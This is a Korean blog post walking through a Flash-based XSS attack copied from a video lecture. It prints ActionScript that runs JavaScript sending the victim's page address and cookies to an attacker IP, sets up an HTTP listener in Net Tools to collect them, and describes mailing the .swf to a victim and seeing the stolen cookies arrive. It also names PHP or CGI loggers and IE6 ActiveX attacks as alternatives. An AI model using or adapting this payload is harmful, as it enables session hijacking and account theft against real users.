#44u61l5f :: 어떤 분의 XSS동영상 강의를 보다가,

GxlGxl(질질이 아니라고 하신다. :) )님의 XSS동영상 강의를 오늘 문득 보게 되었다.
별로 남의 계정에 대한 사리사욕이 없어서 인지,
XSS는 사용해 보지 않은지 꾀 됬다는 생각과 함께..
한번 그분이 소개한 방법을 업로드 하여 본다.

동영상의 내용은 Flash파일(.swf)에 Action Script를 이용하여,
javascript를 실행 시키는 것이었는데, Open할 주소로
javascript:///ScriptCode////방식으로 주는 것이었다.
사이트에는 직접적인 코드제시나, 다운 받을 수 있게 제공되고 있지는 않았으나,
노력만 하면 누구나 획득 할 수 있다. (동영상 화질이 좋다.)
동영상에서는 통신을 하는 프로그램을 사용하는 모습을 볼 수 있었는데,
해당 프로그램의 기능은 8888번 포트를 리슨 하면서, 값이 넘어오면,
넘어온 값 중 location값에 해당하는 주소를, cookie을 적용하여 표시해주는
일종의 브라우져 기능이 합쳐진 프로그램 이었다.
(남이 이미 만들어논 아이디어를 따라 만드는 것은 어렵지 않다.)

오늘 Net Tools라는 친구를 만나보기도 했으니,
XSS를 할때에, 그 친구의 도움을 받으면서 한번 진행해 보겠다.

먼저 Net Tools라는 친구의 도움을 받는 방식으로 하기 위해,
나는 다음과 같이 아주 간단히 스크립트를 수정했다.
(사실 별로 달라진 바 없다.)

var Command = 'javascript:'+
'function Write()'+
'{'+
' var todayDate = new Date();'+
' todayDate.setDate(todayDate.getDate()+31);'+
' document.cookie="xsswritten=yes"+"; path=/;expires=" + todayDate.toGMTString() + ";";'+
'}'+
'function IsWritten()'+
'{'+
' var mycookie = document.cookie;'+
' var i=mycookie.indexOf("xsswritten=yes");'+
' return (i != -1);'+
'}'+
'function Do()'+
'{'+
' if(!IsWritten())'+
' {'+
' Write();'+
' location.href = "http://공격자의IP/?
loc="+document.location+"&cook="+document.cookie;'+
' }'+
'}'+
'Do();'+
'alert("hello");'+
'';
getURL(Command);

위와 경우는 Net Tools라는 친구의 도움을 받을 것이기 떄문에,
location.href 부분에 공격자의IP로만 해두었지만, 흔한 방법으로는
php파일이나 ,cgi파일같은 서버사이드 스크립트 언어로 Logger를 작성하여
기록을 남기거나, 메일을 날리는 방식을 사용할 수 있다.

다음과 같이 Flash파일에 위의 명령문을 넣어 주었다.

그리고 .swf파일로 export 하였다.

이제 .swf파일은 준비가 다 되었고,
마지막으로 Net Tools에서 Exterior Tools -> Internet Tools -> Central Server에서
HTTP Server만 Start Server버튼을 눌러주면 된다.
정상적으로 켜지면 다음과 같은 모습이 된다.

이제 준비는 끝났다.
공격만 하면 되는 상태이다.

보낸 메일의 내용은 다음과 같았다.

Net Tools라는 친구의 도움을 받으면, HTTP Server를 간단하게 만드는 것이 됨으로,
지정한 경로에다가 .swf파일을 저장해두고 위와 같이 경로만 지정해 주면 되었다.

이제 메일을 보내고, 피해자가 될 컴퓨터에서 메일을 열어 보았다.

먼저 우리의 컴퓨터에서 xssf.swf파일을 요청하고,
그 후, 인자로 현재 주소라던지, 쿠키값들이 넘어오는 걸 볼 수 있다. :)
본인은 여기까지만 해보고 라면을 먹으로 갔다..
이 글에서는 플레쉬에 XSS를 시도하는 XSS를 삽입 하였지만,
만약 IE6의 취약점을 이용한 ActiveX공격을 할 수도 있을 것이다.

Posted by Dual

« 2012/02 »
Sun	Mon	Tue	Wed	Thu	Fri	Sat
			1	2	3	4
5	6	7	8	9	10	11
12	13	14	15	16	17	18
19	20	21	22	23	24	25
26	27	28	29

« 2012/02 »

Sun

Mon

Tue

Wed

Thu

Fri

Sat

Trackbacks List